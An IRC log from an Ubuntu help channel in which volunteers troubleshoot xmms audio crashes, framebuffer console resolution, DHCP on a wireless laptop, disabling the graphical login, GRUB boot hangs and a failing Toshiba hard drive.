[05:52] <IcemanV9> BollocksMacenzi_: cannot make up your mind? :p
[05:52] <apokryphos> brenner: allegedly, yes, but I haven't tried them. The pastebin link says no guarantees on working
[05:52] <thoreauputic> brenner: depends what your /etc/apt/sources.list uses
[05:52] <matthew_w> brenner; nothing useful.
[05:52] <apokryphos> *shrug*
[05:52] <vices> xmms crashed when I tried to connect to a stream :/
[05:52] <vices> how do i kill the app?
[05:52] <brenner> matthew_w: weird ... maybe reinstall the bmp package?
[05:52] <apokryphos> vices: killall xmms
[05:53] <matthew_w> vices; killall xmms
[05:53] <vices> thanks
[05:53] <matthew_w> brenner; this is the fourth time I've done that
[05:53] <matthew_w> lol
[05:53] <brenner> :)
[05:53] <vices> is there a way to fix xmms or should I look for another player?
[05:53] <brenner> all i can say is... weird
[05:54] <brenner> dunno what else sorry.
[05:54] <apokryphos> vices: there's a way to fix it, probably, but you should definitely look for another player.
[05:54] <brenner> vices: can you play other files ok?
[05:54] <vices> brenner: no other files to test | apokryphos: which one do you recomend?
[05:54] <IcemanV9> beep-media-player (bmp)
[05:55] <apokryphos> !players
[05:55] <ubotu> Audio/MP3 Players: amaroK, Beep-media-player, JuK, Rhythmbox, XMMS ; Video players: Xine, Mplayer
[05:55] <brenner> vices: i meant mp3 etc
[05:55] <brenner> vices: you changed the outpu plugin didn't you?
[05:55] <vices> ohh, i forgot that linux can browse my windows partition, one sec
[05:55] <vices> brenner: output plugin?
[05:55] <brenner> vices: change the output plugin to esound
[05:55] <apokryphos> vices: in preferences
[05:55] <thoreauputic> apokryphos: are you going to pollute all these peoples gnome setups with QT apps ? <j/k>
[05:56] <apokryphos> thoreauputic: quietly, and sneakily
[05:56] <brenner> apokryphos: only 2 video players?
[05:56] <apokryphos> thoreauputic: just don't tell anyone ;-)
[05:56] <thoreauputic> apokryphos: world domination!!
[05:56] <apokryphos> brenner: add to it
[05:56] <vices> oh awesome
[05:56] <brenner> apokryphos: you wrote the trigger didn't you? :)
[05:56] <vices> brenner: thanks apokryphos: thanks!
[05:56] <apokryphos> Same thing we do every night, thoreauputic -- try to take over the world!
[05:56] <jo_e> I just made all my program buttons on the panel really small, thinking I was resizing the panel... how do I change them back (they're much too small to get the menu for now)
[05:56] <brenner> vices: it worked?
[05:56] <vices> yep!
[05:56] <apokryphos> brenner: yes
[05:56] <IcemanV9> mplayer doesn't work, but xine is awesome!
[05:56] <brenner> apokryphos: that's why amrok is first :D
[05:56] <apokryphos> brenner: alphabetical order, actually. :)
[05:57] <brenner> i keep hearing about vlc ... that's why i piped up
[05:57] <Bergcube> I would like to have more "real estate  in the terminal window. NB! "Before" X or Gnome even starts. (Thinking about setting up a machine as server without a GUI.) I know the way to get more than the default x times y characters is via framebuffer. But I must admit I don't really understand how framebuffer /works/..... Does it have to be compiled into the kernel? Is it dependant on the type og graphics adapter in the machine? Can it be se
[05:57] <Bergcube> t interactively, or must it be defined in the GRUB startup?  Whew...  Anyone in the know?
[05:57] <apokryphos> vlc is good but simplistic
[05:57] <BollocksMacenzie> Woo hoo, I have finally registered my ID with freenode!
[05:57] <brenner> apokryphos: i like those characteristics
[05:57] <mumbles> yeh same here
[05:57] <angelus__1969> any network specialists here??
[05:58] <mumbles> i will be
[05:58] <mumbles> least should have a cisco ccna1 qualificatin by christmass
[05:58] <chimo> !xmms
[05:58] <ubotu> Wish i knew, chimo
[05:58] <thoreauputic> apokryphos: mpg321 ~/music/*  <--- great app, intuitive interface ;-)
[05:58] <angelus__1969> well, more network specialist as in 'how do I configure a client properly' :)
[05:59] <apokryphos> thoreauputic: my xmms factoid was deleted, but that's slightly more understandable :)
[05:59] <brenner> Bergcube: usually you can add a vga= option in grub ... can even edit the grub menu at boot so it's a temporary change
[05:59] <chimo> Im having trouble playing media on xmms, the item loads in the playlist however xmms will not play it, if i make it play, it freezes
[05:59] <angelus__1969> concerning dhcp
[05:59] <apokryphos> thoreauputic: think I tried it out some time ago; no real recollection. Will try it again soon.
[05:59] <brenner> chimo: change the output plugin to esound in prefs
[05:59] <thoreauputic> apokryphos: I was kind of kidding ...
[05:59] <chimo> brenner: thx
[05:59] <IcemanV9> angelus__1969: just state the problem :)
[05:59] <apokryphos> thoreauputic: oh, I remember now
[05:59] <thoreauputic> apokryphos: I like cplay though
[06:00] <apokryphos> thoreauputic: yes, command-line :P
[06:00] <vices> Yay4XCHM!
[06:00] <angelus__1969> the client (ubuntu) has a dhclient wlan0 entry in the bootmisc file
[06:00] <bluefoxicy> bah
[06:00] <Bergcube> brenner, Yes.  I know.  But do you know what lies "under" that?  What if I run into another machine / distro where that doesn't work...  How do I make it work?  Any idea what is needed?
[06:00] <bluefoxicy> update-grub doesn't get run when installing or uninstalling kernels  o.x
[06:00] <angelus__1969> now it gets the hostname from the dhcp server
[06:00] <angelus__1969> but not the ip address
[06:00] <brenner> Bergcube: tell you the truth, i'm not sure about the whole framebuffer thing either. :)
[06:00] <angelus__1969> I have to do a ifdown wlan0 which states an error message that it can find the network
[06:00] <brenner> Bergcube: someone was talking about it though .. *checks log*
[06:01] <angelus__1969> but if I do an ifup wlan0 after it
[06:01] <angelus__1969> it get the address
[06:01] <angelus__1969> please someone explain this to me
[06:01] <vices> does anyone have any experience with mono?
[06:01] <IcemanV9> angelus__1969: why bootmisc.sh file? it should be in /etc/network/interfaces file
[06:01] <mumbles> netgear firewall router and wireless keybord mouse
[06:02] <Bergcube> brenner, you see....   I am honestly thinking of using Trustix 3.0 on the server. But Trustix doesn't have any IRC channel.  And as I've gotten good help with my Ubuntu desktops here, I thought it could be worth a shot...
[06:02] <angelus__1969> well, I got this from someone on this channel, since I had some problems getting my wireless working with ndiswrapper
[06:02] <angelus__1969> but strange enough it worked
[06:02] <mumbles> ohh... server... that reminds me must get my other machene hocked up as a server
[06:02] <angelus__1969> but I needed a fixed dhcp address for this laptop
[06:02] <thrush> Question about nautilus thumbnail view-   It just displays reg icons in everything but the main parent directory.  My computer is pretty much just a big tivo at this point and i really like this feature. How do i turn on for thumbnail view in the subfolders?  Couldnt find anything under preferences that made it work.
[06:02] <angelus__1969> and a hostname to go with it :)
[06:02] <brenner> Bergcube: bah, the content wasn't as great as i thought ... you could probbaly google for 'linux' and 'framebuffer' adn get some explanations for the underlying bit you were talking about....
[06:03] <brenner> Bergcube: as far as putting into use, add the vga option like i said, or someone recommended the fbset package
[06:03] <thoreauputic> apokryphos: trouble with turning people away from xmms is that streamtuner ( which is a nice app) uses it by default
[06:03] <IcemanV9> i have no idea on ndiswrapper stuff .. i was blessed to have my ath0 card to work without using ndiswrapper
[06:03] <Bergcube> brenner, I have been googling like a smurf.  Found a couple of ok-ish howtos.  But they mainly talked about how to compile a kernel from scratch to enable framebuffers.
[06:03] <IcemanV9> !wireless
[06:03] <ubotu> wireless is, like, https://wiki.ubuntu.com/HardwareSupportComponentsWirelessNetworkCards
[06:03] <thoreauputic> apokryphos: it can be reconfigured to use other players , of course
[06:03] <angelus__1969> well, I haven't been so blessed :)
[06:03] <angelus__1969> and it works
[06:04] <brenner> Bergcube: and you want more of the theory side?
[06:04] <mumbles> goes to try and build a firewall
[06:04] <mumbles> firewall ? serve r
[06:04] <angelus__1969> but now I have been tweaking the dhcp server entry for this card (the server is running on a Centos box)
[06:04] <vices> is there a reason why most of my applications died and I crashed to desktop?
[06:04] <angelus__1969> and now i see this strange behaviour
[06:04] <vices> a commonly known reason?
[06:04] <LasseL> how can I set up x-chat so I am registered before I joing #ubuntu automatically ?
[06:04] <IcemanV9> angelus__1969: yep. at least, it IS working. :)
[06:05] <Bergcube> brenner, Thanks.  I'll look for fbset!  Yeah, to be exact I am trying to discover how to tweak Trustic to use framebuffer so I get a "bigger" text-screen......  :-S
[06:05] <thrush> gotta go but if anyone could pm me with answer id appreciate it =)
[06:05] <brenner> Bergcube: from my log, the guy says there's two modes for console, text and fb ... most likely you would already have a fb console, so no need for compiling
[06:05] <koneng> I edited my /etc/X11/xorg.conf file and messed it up and so I need to fix it, but I don't remember what it looked like before i changed it. I found a xorg.conf~ file in the same directory so i tried using that instead and it still didnt work. I just throws me to a command prompt when i boot up. How can i repair this?
[06:05] <IcemanV9> angelus__1969: is the entry looks like this > iface ath0 inet dhcp
[06:05] <thoreauputic> LasseL: in the server dialogue you can add commands
[06:05] <IcemanV9> angelus__1969: in your case, change ath0 to wlan0
[06:05] <brenner> Bergcube: i could tell you right now the vga code to set your console to 1024x768 which looks nice on my machine
[06:05] <brenner> if you want
[06:05] <angelus__1969> icemanv9: in 'interfaces' file you mean
[06:05] <LasseL> thoreauputic, I have filled in all the standard fields there, Nick, nickserv password, channels to join
[06:06] <IcemanV9> angelus__1969: yea. that's what i have.
[06:06] <angelus__1969> yes, the entry is there
[06:06] <LasseL> thoreauputic, and yet I get kicked from #ubuntu since it only registeres me a second after I join
[06:06] <thoreauputic> LasseL: hmm - seems to work here
[06:06] <IcemanV9> angelus__1969: it should be able to grab ip and hostname from dhcp server
[06:06] <brenner> koneng: that's why you should backup before editing </scold>  try running reconfigging xorg
[06:06] <thoreauputic> ah LasseL yes - recently that has been happening
[06:07] <Bergcube> brenner, Yeah.  On Ubuntu using "vga=792" works like a charm.  Not so on the server-centric Trustix.  Well, perhaps I'll end up hardening Ubuntu to run on my server as well.
[06:07] <thoreauputic> LasseL: not sure if it's because of changes with the bot attacks we've been having
[06:07] <angelus__1969> icemanv9: yes, on boot it grabs the hostname (so it can connect to the server) but it keeps asking for a address which it doesn't get (at boot)
[06:07] <koneng> brenner: yeah, i know to backup now:)  how do i run reconfigging xorg?
[06:07] <LasseL> let me try once more
[06:07] <brenner> !xorg
[06:07] <thoreauputic> LasseL: do you get dumped to an overflow channel ?
[06:08] <ubotu> rumour has it, xorg is sudo dpkg-reconfigure xserver-xorg
[06:08] <angelus__1969> if I do a dhclient wlan0 manually, I see the same behaviour
[06:08] <LasseL> changing the order of channels to join seemed to help
[06:08] <brenner> Bergcube: ah, you _have_ done your research. :)
[06:08] <angelus__1969> ahhhh
[06:08] <thoreauputic> LasseL: did you get dumped to an overflow before?
[06:09] <brenner> koneng: see ubotu's message
[06:09] <angelus__1969> icemanv9: I have removed the entry in the bootmisc.sh file, and now it gets the address
[06:09] <angelus__1969> icemanv9: and before the tweaking of the server it couldn't get anything without this entry
[06:09] <Bergcube> brenner, ah come now!  Would I lie to you.  :-D  I'm a computer consultant.  I'm used to manuals.  I don't WANT to rely on others.  But at times you sort of get stuck anyway.
[06:10] <koneng> ubuntu, brenner: ok thanks for the help
[06:10] <vices> how do I change my user password?
[06:10] <brenner> Bergcube: well, good luck with it. :)
[06:10] <thoreauputic> vices:  passwd
[06:10] <Bergcube> vices, Tell me your old one and I'll suggest a new one!!!
[06:10] <thoreauputic> Bergcube: nice try ;-)
[06:10] <Bergcube> brenner, Thanks a lot.
[06:11] <IcemanV9> angelus__1969: terrific! well, it could be a "temporary" fix by using bootmisc.sh :)
[06:11] <vices> thanks
[06:11] <LasseL> thoreauputic, ubuntu-unregistered or somethin
[06:11] <brenner> Bergcube: np
[06:11] <angelus__1969> icemanv9: yes, I was told it was a bit ehhhhh 'dodgy' but at least it worked
[06:11] <angelus__1969> icemanv9: and now it gets confused with it
[06:11] <Bergcube> thoreauputic, Well?!  It _can_ work.  If the asker is daft enough!
[06:11] <thoreauputic> LasseL: yeah - it was set up during the Great Bot War ;)
[06:12] <angelus__1969> is it just me, or is this rather strange behaviour? :)
[06:12] <LasseL> sad for all the n00bs
[06:12] <Bergcube> ROTFL!
[06:12] <brenner> Bergcube: asker? :)
[06:12] <thoreauputic> Bergcube: you have a PhD in social engineering, I assume ? *g*
[06:12] <ompaul> ubuntu-unregged
[06:12] <brenner> i would've thought the respondent would be the daft one
[06:13] <Ichanz> hai guys
[06:13] <Ichanz> anyone's alive
[06:13] <IcemanV9> angelus__1969: hmm .. it could be you .. or it is simple bishavin' ;)
[06:13] <NoHope> hello all
[06:13] <Bergcube> brenner, Errrr....  The right word eluded me.  English is my second language you see.
[06:13] <IcemanV9> angelus__1969: i don't know beyonds that
[06:13] <Ichanz> can i ask something here???
[06:13] <ompaul> !tell Ichanz about ask
[06:13] <Bergcube> thoreauputic, Nah.  But I'm good at confusing people.  :-S
[06:13] <thoreauputic> Bergcube: ah, a lot of Americans have the same problem ;)
[06:13] <angelus__1969> icemanv9: it could very well be me... :) I get RH based, but Ubuntu is still a big mystery to me :)
[06:14] <brenner> Bergcube: you're english is better than most.
[06:14] <LasseL> hehe
[06:14] <brenner> i just proved it
[06:14] <Bergcube> brenner, thx.  I do my best.
[06:14] <Ichanz> how to play mp3 files on ubuntu
[06:14] <brenner> s/you're/your
[06:14] <Ichanz> since no xmms came with the packages
[06:14] <thoreauputic> !mp3
[06:14] <ubotu> extra, extra, read all about it, mp3 is read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[06:14] <brenner> Ichanz: it certainly did
[06:15] <IcemanV9> angelus__1969: well, ubuntu is great .. of course, the wireless stuff has a long way to go
[06:15] <LasseL> can you actually get an irc client that supports regular expressions?
[06:15] <ompaul> thoreauputic, thats cheating :)
[06:15] <LasseL> i'd be fun
[06:15] <Ichanz> brenner Ichanz: it certainly did <-- whereabout i search everywhere... no xmms
[06:15] <thoreauputic> ompaul: whatever works ;-)
[06:15] <ompaul> thoreauputic, that is so true
[06:15] <IcemanV9> angelus__1969: i had to install madwifi manually to get my wireless ath0 going .. so you're not alone in this. :)
[06:15] <brenner> Ichanz: it's in the main repo
[06:16] <angelus__1969> icemanv9: thank that helps a lot, because I just noticed that, yes, it's get an address at boot
[06:16] <Ichanz> brenner Ichanz: it's in the main repo <-- where's the repo ???
[06:16] <brenner> !repos
[06:16] <ubotu> it has been said that repos is at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[06:16] <angelus__1969> but can't connect to the internet or any of the other local machiens
[06:16] <angelus__1969> :(
[06:16] <thoreauputic> !tell Ichanz about synaptic
[06:17] <mumbles> wee ubuntu server installing on crappy old compaq
[06:17] <Ichanz> ok thx
[06:17] <IcemanV9> angelus__1969: firewall?
[06:17] <Bergcube> Another question.  This time it's actually Ubuntu-related.  I've learned on the mailing-list that there is a problem with RAID arrays in 5.04.  And that there are workarounds that some have had luck with.  So....  How do I /check/ if my RAID-1 array does as it should.  I mean, it could be half the mirror working, while the other half were blank.
[06:18] <angelus__1969> icemanv9: don't think so, because if I do a manual ifdown ifup then it works
[06:18] <vices> out of curiosity..
[06:18] <IcemanV9> angelus__1969: ?? bizarre
[06:19] <vices> is there a way to make ./configure go slowly so I can see what's being done?
[06:19] <brenner> back to mozilla i go!
[06:19] <angelus__1969> icemanv9: yes, very bizarre
[06:19] <mushtaq> how to change my login from graphical to text mode at boot up ?
[06:19] <brenner> vices: redirect the output to a file maybe?
[06:19] <thoreauputic> vices: heh - if something goes wrong you'll see it soon enough
[06:19] <Bergcube> mushtaq, I've been thinking about the same thing!
[06:20] <angelus__1969> icemanv9: especially since it worked in the setup, I just changed that the laptop should get a fixed dhcp adddress and a hostname
[06:20] <vices> thoreaputic: i'm more interested in what's going right ^^
[06:20] <brenner> mushtaq, Bergcube disable gdm maybe?
[06:20] <mushtaq> Bergcube, that's nice ? but what is the solution
[06:20] <Bergcube> vices, hmmm....  I may be far off here.  But doesn't "dmesg" tell you what happened during boot?
[06:20] <angelus__1969> I have changed the entry for the laptop in the dhcp server completely
[06:20] <Zarxrax> Does ubuntu live cd work on MS Virtual PC? The graphics are all corrupted looking.
[06:20] <leopard> Was mplayer removed from hoary-extras, apt doesn't seem to see it? I know I downloaded it before...
[06:20] <vices> Bergcube: no idea
[06:20] <angelus__1969> so it is an address and hostname not known in the leases files on the client
[06:21] <Bergcube> brenner, Hm.  But I want to be able to do "startx" or similar now and then.  Will that still be possible?
[06:21] <mushtaq> but you need to change from some file
[06:21] <resuDaed> I have a wierd issue (having just net-installed ubuntu hh), when ever I click on an object with the mouse, the mouse seems locked to that object and I can't click on anything else (can't think of a way of explaining that in more sense), any ideas?
[06:21] <vices> does anyone have experience installing Mono?
[06:21] <resuDaed> my xorg.conf is @ http://resudaed.no-ip.net/xorg.conf and I am using a M$ usb intellimouse
[06:21] <grogoreo> hi
[06:21] <mushtaq> the number to change the boot from graphical to text
[06:21] <angelus__1969> icemanv9: the client gets the new hostname and address
[06:21] <angelus__1969> and can't connect to anything after booting
[06:21] <angelus__1969> :S
[06:21] <Fishfood> Can anyone give me some help setting up ubuntu in a way that I can still keep some of my data?
[06:21] <brenner> Bergcube: disabling gdm will give you a console-mode login iirc.  i.e. you won't get the brown login screen
[06:22] <slibs> what was the command for mounting iso files?
[06:22] <osfameron> Fishfood: do a backup first ?
[06:22] <mushtaq> brenner,  how to disable gdm ?
[06:22] <Bergcube> brenner, Then that'll do it.  Will be good to do on the server.
[06:22] <IcemanV9> angelus__1969: more info > http://ubuntuforums.org/archive/index.php/t-1511.html
[06:23] <LaserLine> Anyone knows how to LowLevel format a Toshiba MK-1016GAP HardDrive ?
[06:23] <slibs> mushtaq, you can stop it with /etc/init.d/gdm stop, but im not sure how to permanetly disable it from bootup
[06:23] <brenner> Bergcube, mushtaq: if you want to remove it permanently, remove the package....
[06:23] <Bergcube> LaserLine, Boot with an Ultimate Boot CD.  Use one of the hard-disk tools provided there.  Stand by, I'll get you the URL.
[06:23] <brenner> slibs: rcconf maybe?
[06:24] <bur[n] er> slibs, man mount ;)
[06:24] <resuDaed> Bergcube, remove the symlin from /etc/rc2.d (rm /etc/rc2.d/S??gdm)
[06:24] <Ichanz> i am running ubuntu on netcafe... seems like i have to delete root terminal from menu -> application -> system tools ... how to ???
[06:24] <Bergcube> LaserLine, http://www.ultimatebootcd.com/    Never leave home without it!
[06:24] <bur[n] er> Bergcube, for the record, the Ultimate Boot CD doesn't use free partitioning tools right?  and if it does, does it to ntfs resizing?
[06:24] <brenner> Fishfood: more info needed
[06:24] <arnehansen> Hello everyone, i just installed ubuntu on my box, the installer said that it had detected my installation of windows xp, and notified me that it should be safe to install grub. However, when i try to boot my system, it just hangs on GRUB, and i do not get any error messages, i'm thankful for any help
[06:24] <vices> i've installed glib2.8 but Mono still claims that it can't find anything newer than 2.0
[06:24] <mushtaq> i think the gdm file is pointing to another file you can comment that line brenner slibs
[06:24] <slibs> bur[n] er, oh thanks really! reading 500 pages of help won't tell me the exact command anyway
[06:25] <brenner> Fishfood: i.e. is it a windows machine?
[06:25] <bur[n] er> arnehansen, load a LiveCD and reinstall grub?
[06:25] <LaserLine> Bergcube, is it free ?
[06:25] <brenner> mushtaq: well, i definitely know that removing the gdm package will give you a text-mode login
[06:26] <Ichanz> helooooo
[06:26] <bur[n] er> LaserLine, yes and no... free, but not legit i think
[06:26] <Ichanz> i am running ubuntu on netcafe... seems like i have to delete root terminal from menu -> application -> system tools ... how to ???
[06:26] <Bergcube> bur[n] er, It has a complete Linux distro, including QTPartEd.  And it CAN resize NTFS.  I have done so on a operative win system, and it was still operative after the resize.  QTPartED is IMHO better than Partition Magic and any fdisk-like tool .
[06:26] <Bergcube> LaserLine, Completely free.  As it says on the website.
[06:26] <vices> do I need to do some sort of 'make file' after ./configure ?
[06:26] <mushtaq> brenner, but that is overcoming not the solution
[06:26] <arnehansen> bur[n] er, i've tried reinstalling grub
[06:26] <LaserLine> can't d/l the ISO.....
[06:27] <mushtaq> brenner, for me atleast i think if i need it i cannot use startx after removing it
[06:27] <arnehansen> with the ubuntu cd
[06:27] <arnehansen> that is, with the installer
[06:27] <arnehansen> is there perhaps an other way to do it that would be better.. ?
[06:27] <brenner> mushtaq: i'm pretty sure you can
[06:27] <brenner> at least i think so
[06:27] <bur[n] er> arnehansen, any error messages?
[06:27] <xTina> What creates the mount points in /media and the fstab entries for cdrom0 and floppy0 in a standard Ubuntu installation?
[06:27] <Bergcube> LaserLine, I got it.  If you're on a half-decent line I can DCC it to you here.
[06:27] <brenner> mushtaq: apt-cache show gdm
[06:27] <arnehansen> bur[n] er, no, just stalls on "GRUB"
[06:27] <bur[n] er> arnehansen, can you use the livecd to boot your OS?
[06:27] <brenner> it's just a graphical login
[06:27] <brenner> it's not gnome etc.
[06:27] <bur[n] er> arnehansen, google for it?
[06:27] <Ichanz> i am running ubuntu on netcafe... seems like i have to delete root terminal from menu -> application -> system tools ... how to ???
[06:28] <LaserLine> Bergcube - do you have a Deeplink for it ?
[06:28] <arnehansen> bur[n] er: don't have an ubuntu livecd here, just the install cd
[06:28] <bur[n] er> arnehansen, download one?  sorry, I don't know how to do it from the install cd, though it can be done
[06:28] <angelus__1969> icemanv9: although the link isn't exactly like my problem, I have tried to put in the fixed address
[06:28] <brenner> mushtaq: are you a cricket fan? :)
[06:28] <Bergcube> LaserLine, Sorry, I am confused....  Do you mean a link /directly/ to the Ultimate boot CD ISO ?
[06:28] <angelus__1969> same result
[06:29] <Ichanz> heloooo... can I make a changes on application menu ?????
[06:29] <angelus__1969> even machines on the local net are not reachable
[06:29] <arnehansen> bur[n] er, i can get a terminal in the livecd
[06:29] <magloff> i would disable sudo completely too.
[06:29] <arnehansen> eh
[06:29] <arnehansen> the install cd i mean
[06:29] <brenner> ubotu: tell Ichanz about smeg
[06:29] <arnehansen> would that be of any help ?
[06:29] <mushtaq> brenner, nope its my name
[06:29] <Seveas> Ichanz, use smeg
[06:29] <LaserLine> Bergcube - yes
[06:29] <brenner> oh, lol
[06:29] <Bergcube> LaserLine, http://www.planetmirror.com/pub/ubcd/3.3/ubcd33-full.exe
[06:29] <Ichanz> Seveas Ichanz, use smeg <-- whot's this ... where to find it
[06:30] <Bergcube> LaserLine, Or do you want a link to the BitTorrent file?
[06:30] <bur[n] er> arnehansen, mount your ubuntu partition check your /yourmountedinstall/boot/menu.lst
[06:30] <brenner>  smeg is a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.)
[06:30] <LaserLine> http://ubcd.sourceforge.net/download.html
[06:30] <BollocksMacenzie> Does anyone know an alternative frontend to Skype as it doesn't really work!
[06:30] <sig> works great for me BollocksMacenzie
[06:30] <IcemanV9> hrm, angelus__1969, sorry, this is what i know as far as i can. at least, you got fixed ip & hostname working, but no internet. :/
[06:31] <Zarxrax> Does ubuntu live cd work on MS Virtual PC? The graphics are all messed up.
[06:31] <angelus__1969> icemanv9: well I can get it working after a manual ifdown and then right after that an ifup
[06:31] <hyphenated> BollocksMacenzie: what part doesn't work?
[06:31] <angelus__1969> icemanv9: but this is no-way normal behaviour i guess
[06:31] <LaserLine> Bergcube: When i go here: http://ubcd.sourceforge.net/download.html i can't click on a link...
[06:32] <IcemanV9> angelus__1969: do you have /etc/resolv.conf there? anything in there?
[06:32] <Bergcube> Repeating myself...:  Another question.  This time it's actually Ubuntu-related.  I've learned on the mailing-list that there is a problem with RAID arrays in 5.04.  And that there are workarounds that some have had luck with.  So....  How do I /check/ if my RAID-1 array does as it should.  I mean, it could be half the mirror working, while the other half were blank.
[06:32] <IcemanV9> angelus__1969: usually, resolv.conf is the key for surfing the net
[06:33] <angelus__1969> icemanv9: there are two lines 'search angelus.lan' and 'nameserver 192.168.1.1'
[06:33] <angelus__1969> the 1.1 is the router
[06:33] <Bergcube> LaserLine, You realise you must click on the small hard-disk shaped icons in the table?  Chose the FULL version.  You can select a zipped ISO or a self-extracting exe.  Works for me from the page you pointed to.
[06:34] <IcemanV9> angelus__1969: do you have dns in the router?
[06:34] <BollocksMacenzie> hyphenated: Well, it loads, you can connect but the other person can't hear me despite the mic being set up alright & it keeps crashing (usually on the second call).
[06:34] <LaserLine> Bergcube, Okay, i just realized that :D - when i d/l the EXE, does it have the ISO inside or what?
[06:35] <IcemanV9> angelus__1969: aha. you may want to fill out DNS .. it should work as soon as you fire up the laptop :)
[06:35] <Bergcube> LaserLine, Yeah.  The EXE is simply a self-extracting zip archieve.  So unless you have a windows box to extract it on you shjould go for the zip edition.
[06:35] <IcemanV9> at the router, of course
[06:36] <angelus__1969> icemanv9: how do you mean?
[06:36] <Bergcube> shjould shjould be withouth the "j"......
[06:36] <IcemanV9> angelus__1969: i am looking at my router's setup .. look at DHCP tab .. there is DNS section
[06:36] <LaserLine> Bergcube, Got it... Thanks. What tool should i select for a toshiba drive ?
[06:37] <IcemanV9> angelus__1969: add your ISP's DNS server (ip addie) in DNS section
[06:37] <angelus__1969> icemanv9: there are the entries for dns in the router
[06:37] <angelus__1969> icemanv9: and it is also my local net that I can't get to
[06:38] <angelus__1969> even the server where the laptop got it's address and hostname from
[06:38] <IcemanV9> angelus__1969: ok. i don't know what else to tell ya. looks like you did everything as it should be. :S
[06:38] <angelus__1969> icemanv9: how is it possible that I can get an address and hostname from my local dhcp server and after that i can't get to that same machine
[06:38] <angelus__1969> :
[06:38] <LaserLine> Bergcube, any idea?
[06:39] <Bergcube> LaserLine, When you boot there's a menu item for harddisk tools.  There's one or two tools for each major brand of harddisks.  You _MUST_ know the make of your HD before starting a tool.  Otherwise it might do damage.  I don't remember if toshibe dos indeed make their own drives.  I've gotten the Seagate tool to work on other disks as well, as long as there's a seagate disk present next to it.
[06:39] <Ichanz> hmmmm
[06:39] <Bergcube> LaserLine, Sorry for the typos.  Wasn't taking my time...
[06:40] <brenner> Bergcube: this is irc...we don't care about perfection. :)
[06:40] <IcemanV9> angelus__1969: no idea :/
[06:40] <angelus__1969> icemanv9: i'm stumped as well, and it's way to hot here to sit after a bunch of computer anyway :)
[06:41] <Bergcube> brenner, I know.  But still I try to write well.  Clear "speech" reflects a clear mind.  I think.
[06:41] <angelus__1969> icemanv9: thank you for your help
[06:42] <brenner> Bergcube: then i'm in trouble. :D
[06:42] <IcemanV9> angelus__1969: np. hope you find something to get it working as it should be. :)
[06:42] <LaserLine> Bergcube, I didn't see any Toshiba software, it's a Fujitsu Siemens laptop... with a Toshiba MK-1016GAP ?
[06:42] <Bergcube> LaserLine, in the boot-up process the BIOS should actually TELL you the make of the HD.  If not, enter the BIOS setup utility and see what it says.
[06:42] <angelus__1969> icemanv9: yes, I will try another time in this channel, or else I will see if there is a mailinglist where I can ask
[06:42] <Bergcube> brenner, as long as you REALISE it, there's still hope.  And room for improvement!
[06:42] <LaserLine> Bergcube, It says Toshiba MK-1016GAP
[06:42] <AzCowboy> Does anyone use rdesktop under ubuntu?  I'm having problems with it reversing letters on my screen.
[06:42] <IcemanV9> angelus__1969: mailing list is usually good
[06:43] <Bergcube> LaserLine, Give me a minute.  I have to zen a little.
[06:43] <angelus__1969> icemanv9: yes, I got a lot figured out on the centos side with the mailing list :)
[06:43] <LaserLine> Bergcube, Okay, thanks (what's zen?)
[06:43] <XRange> anyone got Minolta 2430 Dl working in Ubuntu  and evolution & firefox ?
[06:43] <Bergcube> LaserLine, my slang for reall really really thinking about something.....
[06:44] <brenner> Bergcube: i just can't be bothered pressing the shift key and correcting punctuation...i've had project meetings in irc and my hands hurt aftwerwards from the effort
[06:44] <Bergcube> LaserLine, as in zen buddhism, you know.
[06:44] <angelus__1969> I'm off, till next time
[06:44] <Bergcube> brenner, I can sympathize!
[06:44] <IcemanV9> later, angelus__1969
[06:44] <LaserLine> Bergcube, Thanks....I'm on it for a few days, and my brain is killing me :D [Liked the slang...] 
[06:46] <ompaul> Bergcube, or not think for a moment even
[06:46] <Bergcube> LaserLine, I would say it depends on what you want to do with / to the disk.  If you simply wants it to be clean before a new install, use KillDisk and wipe it.  If you REALLY wish to low-level format it (to check for errors and bad sectors on the physical layer) try the IBM or Seagate tool.
[06:47] <MagmaRules> hello
[06:47] <Bergcube> ompaul, for not thinking I put on Pink Floyd, set the volum knob to 11 and enter nirvana instantly.
[06:47] <Mitario> is gparted included in the live cd?
[06:47] <MagmaRules> i have installed xcomposite and i would like to install transset-df
[06:48] <ompaul> Bergcube, well just tell eugene to be careful :)
[06:48] <MagmaRules> but i get this error that xcomposite is not on pkg-config pat
[06:48] <MagmaRules> *path
[06:49] <MagmaRules> but i dont know where xcomposite is anyone can tell me ??
[06:49] <Bergcube> ompaul, Absolutely!  Especially if Emily's playing nearby.  (Or several species of small furry animals....... )
[06:49] <MagmaRules> i have isntalled it through synaptic package manager
[06:50] <ompaul> Bergcube, either in pompeii or on the dark side of the wall ....
[06:50] <LaserLine> Bergcube, I want to find errors....I get a lot of FS erros in ubuntu, I already reinstalled twice but after a while it crashes... "persia" a user here helped me out, i found the following error in my "syslog":  I found the following error in the syslog: " {hdb: drive_cmd: status=0x51 {DriveReady SeekComplete Error} he thinks it's hard-drive physical problems....
[06:50] <Bergcube> ompaul, We can go on!
[06:50] <ompaul> Bergcube, lets leave it cos there are others that are out there
[06:51] <Bergcube> LaserLine, Then try the IBM or Seagate tool.  Or ask Toshiba for something similar.  Or even better:  Buy a new harddisk.  When it begins failing like that, chances are it'll die on you within weeks.
[06:51] <LaserLine> Bergcube, What does this error mean ?
[06:51] <zenrox> LaserLine, that error is from the smart hdd and its eather close to dieing or is dead allready
[06:51] <Bergcube> ompaul, One of these days, we'll teach them!
[06:51] <BollocksMacenzie> hyphenated: Are you using Kubuntu or Ubuntu (Gnome or KDE)?
[06:51] <LaserLine> Bergcube, but everything was good yesterday...
[06:52] <zenrox> LaserLine,  hdds fail all the time
[06:52] <Bergcube> LaserLine, Sorry, I cannot grok that.  I am not THAT experienced in Linux.  Yet.  What I've said so far is based on general experience with PC hardware.
[06:52] <LaserLine> Bergcube, Toshiba says MTBF is 300,000 hours.. that means: 24*365=8760, that means 34 years !
[06:54] <Bergcube> LaserLine, to be sure you'll need to run a test-suite on the disk that writes and reads and rewrites and so on to see if bits go missing.  But if it was good only yesterday, I would say the fault might well be logical.
[06:54] <LaserLine> Bergcube, I'm kinda sad now, already paid 122$ for Ram, and 155$ for fixing the battert........
